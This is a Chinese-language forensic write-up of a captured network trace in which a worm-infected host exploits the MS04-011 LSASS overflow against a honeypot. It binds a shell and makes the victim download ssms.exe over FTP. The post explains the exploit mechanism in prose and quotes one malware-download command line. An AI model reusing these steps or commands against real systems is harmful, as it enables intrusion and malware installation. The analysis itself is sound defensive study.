1. 程式人生 > >分析攻擊流量樣本

分析攻擊流量樣本

此次分析樣本是.pcap格式,共348幀。主要利用的分析工具是wireshark以及它的命令列版本tshark。

前期分析

首先通過觀察,發現只涉及到兩個ip,在本文中稱98.114.205.102為主機A,192.150.11.111為主機B。
如下圖,A主動向B請求TCP連線,並完成了三次握手。
三次握手
雖然不能斷定,但很有可能A為攻擊者,B為受害者,A攻擊的是B的主機系統。

理論上說這種型別的攻擊一定利用了已知系統漏洞或者0day,所以接下來的目標是找到A究竟利用了什麼漏洞對B實施了攻擊。

於是觀察有沒有能夠暴露更多資訊的資料幀。如下圖,可以看到在第33幀有一個函式被呼叫。這非常可疑。網上搜一下這個API,很快發現它曾經曝出過問題,編號CVE-2003-0533,winodws上大名鼎鼎的“衝擊波”利用的就是這個漏洞,微軟給的編號是MS04-011。
函式呼叫

該漏洞是一個遠端緩衝區溢位,DCE/RPC請求可以從遠端主機發送到本地機的LSASS.EXE程序(Microsoft Windows LSA是本地安全授權服務(LSASRV.DLL))。LSASS DCE/RPC末端匯出的Microsoft活動目錄服務存在一個緩衝區溢位,遠端攻擊者可以利用這個漏洞以SYSTEM許可權在系統上執行任意指令。攻擊LSASS的漏洞的基本辦法,就是構造長引數DomainName,通過DsRoleUpgradeDownlevelServer()這個API,最終造成溢位和返回shell。

流程分析

已知B被利用的是哪個漏洞,再分析整個流程就簡單了。

整個攻擊過程中包含5個TCP會話,按會話順序描述流量樣本的攻擊流程。
(1)首先,A掃描B 445/tcp埠,確認該埠是否開放。(tcp.stream eq 0)
這裡寫圖片描述

(2)建立SMB會話,連線到B的\192.150.11.111\ipc$,並請求/lsarpc。(tcp.stream eq 1)
這裡寫圖片描述

如圖,在幀33的位置,通過構造惡意引數,呼叫存在漏洞的函式DsRoleUpgradeDownlevelServer(),
造成緩衝區溢位,並將shell繫結到1957埠。
這裡寫圖片描述

A連線到B 1957埠上的shell,即可在B上執行指令。(tcp.stream eq 2)
這裡寫圖片描述

檢視追蹤流,可知為了在B上植入惡意軟體(蠕蟲),A向B傳送瞭如下命令,強制B連線ftp並下載ssms.exe。
這裡寫圖片描述

B執行(3)中命令,嘗試建立FTP連線,請求下載ssms.exe。(tcp.stream eq 3)
這裡寫圖片描述


如下圖:
這裡寫圖片描述

B通過ftp接收檔案ssms.exe(惡意樣本)。
這裡寫圖片描述

追蹤流,可見開頭MZ、PE字元,顯然,正在傳輸的是windows可執行程式。(tcp.stream eq 4)
這裡寫圖片描述

接下來A再次連線到shell,強制B執行惡意檔案ssms.exe即可。

疑點分析和結論

(1)攻擊實施時間非常短,全過程僅花費16秒;另外,在這五次TCP會話中,出現了會話間間隔小於1秒的情況。人工輸入命令的速度不可能這麼快,所以說這次攻擊肯定是自動化的。
另外,惡意檔案ssms.exe被mcfee引擎識別為W32/Sdbot.worm.gen.x,是蠕蟲。

(2)攻擊者A在傳送如下指令時出現了錯誤:

echo open 0.0.0.0 8884 > o

使用了無效的ip,0.0.0.0,該處ip值本應為98.114.205.102。這一錯誤一方面再次證明此次攻擊不是人工實施,人工不會出現這樣的錯誤;另一方面,為何在出錯的情況下B仍然執行命令下載了惡意檔案ssms.exe?這說明受害者B也是有問題的。

(3)windows xp系統的ttl值應當為128,而這個受害主機B的ttl值為64。進一步證明B實際上是一個蜜罐,偽裝成了存在漏洞的windows系統,吸引網路上被感染的發起自動掃描的殭屍機上鉤。

綜上所述,攻擊者A很可能是被蠕蟲感染的主機,遭到感染後,利用埠掃描找到受害者B(蜜罐),並向其發起針對MS04-011漏洞的後續攻擊行為。整個攻擊過程都是自動發起和實施的。

來源和參考:http://www.honeynet.org/node/504